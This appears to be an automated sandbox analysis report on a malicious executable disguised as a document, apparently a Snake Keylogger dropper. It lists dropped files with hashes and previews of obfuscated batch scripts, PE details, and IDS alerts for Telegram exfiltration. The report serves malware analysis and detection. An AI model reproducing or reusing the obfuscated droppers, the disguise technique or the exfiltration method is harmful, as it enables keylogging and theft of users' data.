Malicious:	true
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Cneehezx.PIF"..IconIndex=960091..HotKey=38..

C:\Users\Public\CneehezxF.cmd

Download File

Process:	C:\Users\user\Desktop\D.G Governor Istek,Docx.exe
File Type:	DOS batch file, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	15789
Entropy (8bit):	4.658965888116939
Encrypted:	false
SSDEEP:	384:wleG1594aKczJRP1dADCDswtJPZ9KZVst1U:LA4aLz08JaJ
MD5:	CCE3C4AEE8C122DD8C44E64BD7884D83
SHA1:	C555C812A9145E2CBC66C7C64BA754B0C7528D6D
SHA-256:	4A12ABB62DD0E5E1391FD51B7448EF4B9DA3B3DC83FF02FB111E15D6A093B5E8
SHA-512:	EA23EDFB8E3CDA49B78623F6CD8D0294A4F4B9B11570E8478864EBDEE39FCC6B8175B52EB947ED904BE27B5AF2535B9CA08595814557AE569020861A133D827D
Malicious:	false
Preview:	.@echo off..@% %e%.%c%o..%h%. .......%o%r.r.r.....% %.......%o%..%f% .%f%o%..s%...... .%e%.r.%t%...o..r.% %.....%"%.......%u%.%T%r..%A%..%j%r........%=%.. o......%s%....o...%e%.....%t%.% %........%"%.r.......o%..%uTAj%"%.. . ..%N%.r r.... %U%... .oo...%M%r.........%j%.....%=%.....o....%=%.%"%r...... %..%uTAj%"% .....%m%..oo%X%.o.. %m%.....or.%w%....%O%.%g%.....%B%.o .r.. %W%..%D%........%t%o.r...%%NUMj%h% ...o.%t%..%t%o......o%p%.........%"% .r%..%uTAj%"% .... ..%G%...o.. ..%n%..rr..%j%..o......%D%...o .r..%R%r.

C:\Users\Public\Libraries\Cneehezx

Download File

Process:	C:\Users\user\Desktop\D.G Governor Istek,Docx.exe
File Type:	data
Category:	dropped
Size (bytes):	583193
Entropy (8bit):	7.3073922634117
Encrypted:	false
SSDEEP:	12288:iF0qv+93X92OirXQ2mHlHCrVs1NY/Ac95S5XCswppBYdH:i+qG9IOiM2iU/50CtQ
MD5:	4F30E1377F4BDE432BFCDF9E0545EEC6
SHA1:	048E58EBD70C38E15AD1BEE80C3B50FB149EAC02
SHA-256:	7FFEBB424079AA78D67B79ABCE9CDF79F3E0590F2452823400FFE2BB45BAA23A
SHA-512:	07074EAA924050F6D34102D16DBECAA6B4E279FD452BA0732CABDD308CAF732C7757D0E2245ABE2A8DDFA81E3F261B05BA4F7C6FD27E47E2D84CC3904C0BE97E
Malicious:	true
Preview:	...:...,................................................................................................:...,/.............:...,..............................................................................................................................................................................................................................................................................................~..........................................~...............................................................#~... ..+...... .....".....................!.....................................................}................~........}&.................'#...&...&... ................... "...)......!.'............ ...&........... ......#.....................................................~.........................*.#........................}..... ).....!..)%...................$...~.........%}.. ...

C:\Users\Public\Libraries\Cneehezx.PIF

Download File

Process:	C:\Users\user\Desktop\D.G Governor Istek,Docx.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1019392
Entropy (8bit):	7.007121444882125
Encrypted:	false
SSDEEP:	24576:Mt8U4ln77mcFj7LF6iNQj0KyEB1zcwfPMed:0wnRQj0KyEB1zcwfPME
MD5:	7D212D2DAB091BEC36A906828D270C65
SHA1:	4D251936D754C47EE58E3913A99E2659E731AC98
SHA-256:	4390AD0A5BD9184058CC6E2FBE64F896F71B0F0E95C27D8769837C6F979B11DB
SHA-512:	AC59413964D9C9A55BCA14AFA22834B50D4CB113107D647B50B94CE49B82D887A61D31E99DAA0450EF35F2DF44B7CC524738CDF36007B0E357EB3554CFBFFE40
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................$...f.......8.......@....@.......................... ...................@...........................P...&...............................n...................................................W...............................text............................... ..`.itext..L....0...................... ..`.data........@.......(..............@....bss.....6...............................idata...&...P...(..................@....tls....4................................rdata..............................@..@.reloc...n.......p..................@..B.rsrc...............................@..@............. ......................@..@................................................................................................

C:\Users\Public\Libraries\FX.cmd

Download File

Process:	C:\Users\user\Desktop\D.G Governor Istek,Docx.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	8556
Entropy (8bit):	4.623706637784657
Encrypted:	false
SSDEEP:	192:dSSQx41VVrTlS2owuuWTtkY16Wdhdsu0mYKDCIfYaYuX1fcDuy:Vrhgwuua5vdnQaCIVJF6uy
MD5:	60CD0BE570DECD49E4798554639A05AE
SHA1:	BD7BED69D9AB9A20B5263D74921C453F38477BCB
SHA-256:	CA6A6C849496453990BECEEF8C192D90908C0C615FA0A1D01BCD464BAD6966A5
SHA-512:	AB3DBDB4ED95A0CB4072B23DD241149F48ECFF8A69F16D81648E825D9D81A55954E5DD9BC46D3D7408421DF30C901B9AD1385D1E70793FA8D715C86C9E800C57
Malicious:	true
Preview:	@echo off..set "MJtc=Iet "..@%.r.......%e%...%c%...r....%h%.....%o%........% % .....%o%...%f%.o.%f%......%..s%.......%e%.%t%.. .....% %.rr.. .%"%...%w%......%o%...o..%t%r.....%c%....%=%... . .%s%...... %e%....%t%....% %........ %"% o...%..%wotc%"%.%n% r .%O%...%P%.. ..%t%.%=%...... o..%=%......%"%....r...%..%wotc%"aeeYdDdanR%nOPt%s://"..%wotc%"%..........%a%.%e%......%e%.r..%Y%..%d%.....r....%D%.. %d% ... .%a%.. ...%n%.. ..%R%........%%nOPt%s%...... .%:%.. %/%....%/%r......%"%.....r.%..%wotc%"%...... ...%U%.o..%g%.r.%

C:\Users\Public\Libraries\NEO.cmd

Download File

Process:	C:\Users\user\Desktop\D.G Governor Istek,Docx.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with very long lines (420), with CRLF line terminators
Category:	dropped
Size (bytes):	46543
Entropy (8bit):	4.705001079878445
Encrypted:	false
SSDEEP:	768:Ud6T6yIssKMyD/LgZ0+9Z2noufIBUEADZQp2H8ZLq:UdQFIssKMyjL4X2T8UbZT
MD5:	637A66953F03B084808934ED7DF7192F
SHA1:	D3AE40DFF4894972A141A631900BD3BB8C441696
SHA-256:	41E1F89A5F96F94C2C021FBC08EA1A10EA30DAEA62492F46A7F763385F95EC20
SHA-512:	2A0FEDD85722A2701D57AA751D5ACAA36BBD31778E5D2B51A5A1B21A687B9261F4685FD12E894244EA80B194C76E722B13433AD9B649625D2BC2DB4365991EA3
Malicious:	false
Preview:	@echo off..set "EPD=sPDet "..@%...... or%e%.........%c%......%h%.........o%o%.or......% %.o.ro...%o%.%f%...r.....%f%....r....%..s%. %e%.....%t% % % rrr....%"%.....%E%....%J%.. ....%O%.%h% .......%=%........%s%.. ..%e%....%t%....% %...o...%"%.%..%EJOh%"%.%r% %H%..%C%........%N%....o ....%=%..........%=% .%"%..%..%EJOh%"%.....%K%.%z%..r%j%........%L%..%c%. o.......%f%. o..%x%.%X%.........r%V%.%J%.....%%rHCN%k%.... ...%"%........%..%EJOh%"%.o.....%a%or%g%..o.... ..%u% ..%P%.....o...%X%.. .......%c% .....%U%.%I%. .

C:\Users\Public\Libraries\xzeheenC.pif

Download File

Process:	C:\Users\user\Desktop\D.G Governor Istek,Docx.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	175800
Entropy (8bit):	6.631791793070417
Encrypted:	false
SSDEEP:	3072:qjyOm0e6/bIhbuwxlEb1MpG+xUEyAn0fYuDGOpPXFZ7on+gUxloDMq:qjyl6ebX45OG+xUEWfYUGOpPXFZ7on+G
MD5:	22331ABCC9472CC9DC6F37FAF333AA2C
SHA1:	2A001C30BA79A19CEAF6A09C3567C70311760AA4
SHA-256:	BDFA725EC2A2C8EA5861D9B4C2F608E631A183FCA7916C1E07A28B656CC8EC0C
SHA-512:	C7F5BAAD732424B975A426867D3D8B5424AA830AA172ED0FF0EF630070BF2B4213750E123A36D8C5A741E22D3999CA1D7E77C62D4B77D6295B20A38114B7843C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: qDKTsL1y44.exe, Detection: malicious, Browse Filename: PRODUCT.bat, Detection: malicious, Browse Filename: purchaseorder.bat, Detection: malicious, Browse Filename: PO11550.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.DropperX-gen.27062.13281.exe, Detection: malicious, Browse Filename: PCMNil7wkU.exe, Detection: malicious, Browse Filename: tTIYCp2sf4.exe, Detection: malicious, Browse Filename: Re_Porforma_Invoice_60_downpayment_-_PT_Era_F1909003_Project_Kupang.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....>.{..................................... ....@.......................... .......c........... ..............................................................H....................................................................................text............................... ..`.data........ ...P..................@....tls.................`..............@....rdata...............b..............@..P.idata... ...........d..............@..@.edata...............\|..8...,...@...@..@

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.007121444882125
TrID:	Win32 Executable (generic) a (10002005/4) 99.81% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	D.G Governor Istek,Docx.exe
File size:	1'019'392 bytes
MD5:	7d212d2dab091bec36a906828d270c65
SHA1:	4d251936d754c47ee58e3913a99e2659e731ac98
SHA256:	4390ad0a5bd9184058cc6e2fbe64f896f71b0f0e95c27d8769837c6f979b11db
SHA512:	ac59413964d9c9a55bca14afa22834b50d4cb113107d647b50b94ce49b82d887a61d31e99daa0450ef35f2df44b7cc524738cdf36007b0e357eb3554cfbffe40
SSDEEP:	24576:Mt8U4ln77mcFj7LF6iNQj0KyEB1zcwfPMed:0wnRQj0KyEB1zcwfPME
TLSH:	2925AE32F1005976DD26A1F84C72C6F8641ABD313F27AC87F6B56D989E39B887C24193
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	1f7effffffffff3f

Static PE Info

General

Entrypoint:	0x473804
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	c8740fc6ceabb3b749c3b5b31246f4e4

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00472770h
call 00007F3F28ADE471h
mov eax, dword ptr [004E066Ch]
mov eax, dword ptr [eax]
call 00007F3F28B30675h
mov ecx, dword ptr [004E0764h]
mov eax, dword ptr [004E066Ch]
mov eax, dword ptr [eax]
mov edx, dword ptr [0047233Ch]
call 00007F3F28B30675h
mov eax, dword ptr [004E066Ch]
mov eax, dword ptr [eax]
call 00007F3F28B306E9h
call 00007F3F28ADC45Ch
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe5000	0x26b6	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf1000	0x10400	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xea000	0x6e8c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xe9000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xe571c	0x604	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x719c0	0x71a00	c20c03fd36d5c6a0f5f2d60e61342924	False	0.5268796410891089	data	6.554263214536427	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x73000	0x84c	0xa00	e9a65ab665fe60801328ffc6f137da75	False	0.527734375	data	5.5780106542915835	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x74000	0x6c800	0x6c800	5f020c0c908042c75483e4983c9847a3	False	0.3889913954493088	data	6.614342699532481	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xe1000	0x36b4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xe5000	0x26b6	0x2800	1ccb97a5a4355e75c3a3fc645dd0b749	False	0.309765625	data	4.905692986550938	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xe8000	0x34	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xe9000	0x18	0x200	aaefc7498fcb77b5ed918f8d25bd6004	False	0.05078125	data	0.2069200177871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xea000	0x6e8c	0x7000	337ed535b030e2648bb3b67f6124d43d	False	0.6292898995535714	data	6.663115031589674	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0xf1000	0x10400	0x10400	780d920e700e79be7d346383e076ef83	False	0.4636268028846154	data	6.013951978737078	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xf1b18	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0xf1c4c	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0xf1d80	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0xf1eb4	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0xf1fe8	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0xf211c	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0xf2250	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0xf2384	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0xf2554	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0xf2738	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0xf2908	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0xf2ad8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0xf2ca8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0xf2e78	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0xf3048	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0xf3218	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0xf33e8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0xf35b8	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_ICON	0xf36a0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 1889 x 1889 px/m			0.4228723404255319
RT_ICON	0xf3b08	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 1889 x 1889 px/m			0.29918032786885246
RT_ICON	0xf4490	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 1889 x 1889 px/m			0.2535178236397749
RT_ICON	0xf5538	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 1889 x 1889 px/m			0.18329875518672198
RT_DIALOG	0xf7ae0	0x52	data			0.7682926829268293
RT_DIALOG	0xf7b34	0x52	data			0.7560975609756098
RT_STRING	0xf7b88	0x244	data			0.46379310344827585
RT_STRING	0xf7dcc	0x188	data			0.5943877551020408
RT_STRING	0xf7f54	0xc8	data			0.685
RT_STRING	0xf801c	0x118	data			0.6035714285714285
RT_STRING	0xf8134	0x3a8	data			0.4305555555555556
RT_STRING	0xf84dc	0x3a4	data			0.38197424892703863
RT_STRING	0xf8880	0x370	data			0.4022727272727273
RT_STRING	0xf8bf0	0x3cc	data			0.33539094650205764
RT_STRING	0xf8fbc	0x214	data			0.49624060150375937
RT_STRING	0xf91d0	0xcc	data			0.6274509803921569
RT_STRING	0xf929c	0x194	data			0.5643564356435643
RT_STRING	0xf9430	0x3c4	data			0.3288381742738589
RT_STRING	0xf97f4	0x338	data			0.42961165048543687
RT_STRING	0xf9b2c	0x294	data			0.42424242424242425
RT_RCDATA	0xf9dc0	0x10	data			1.5
RT_RCDATA	0xf9dd0	0x304	data			0.7033678756476683
RT_RCDATA	0xfa0d4	0x712a	Delphi compiled form 'TForm1'			0.6897134967207456
RT_GROUP_CURSOR	0x101200	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x101214	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x101228	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x10123c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x101250	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x101264	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x101278	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x10128c	0x3e	data			0.8709677419354839

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SelectClipRgn, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExtTextOutA, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtectEx, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MulDiv, LockResource, LoadResource, LoadLibraryExW, LoadLibraryExA, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalFindAtomA, GlobalDeleteAtom, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T16:16:41.243953+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49715	185.166.143.49	443	TCP
2024-12-18T16:16:43.767945+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49716	52.217.32.148	443	TCP
2024-12-18T16:17:03.338310+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49758	149.154.167.220	443	TCP
2024-12-18T16:17:16.849018+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49782	149.154.167.220	443	TCP
2024-12-18T16:17:16.923059+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49790	149.154.167.220	443	TCP
2024-12-18T16:17:21.087865+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49799	149.154.167.220	443	TCP
2024-12-18T16:17:21.181072+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49800	149.154.167.220	443	TCP
2024-12-18T16:17:28.765406+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49812	149.154.167.220	443	TCP
2024-12-18T16:17:28.797810+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49821	149.154.167.220	443	TCP
2024-12-18T16:17:34.391819+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49829	149.154.167.220	443	TCP
2024-12-18T16:17:34.460372+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49830	149.154.167.220	443	TCP
2024-12-18T16:17:34.509640+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49835	149.154.167.220	443	TCP
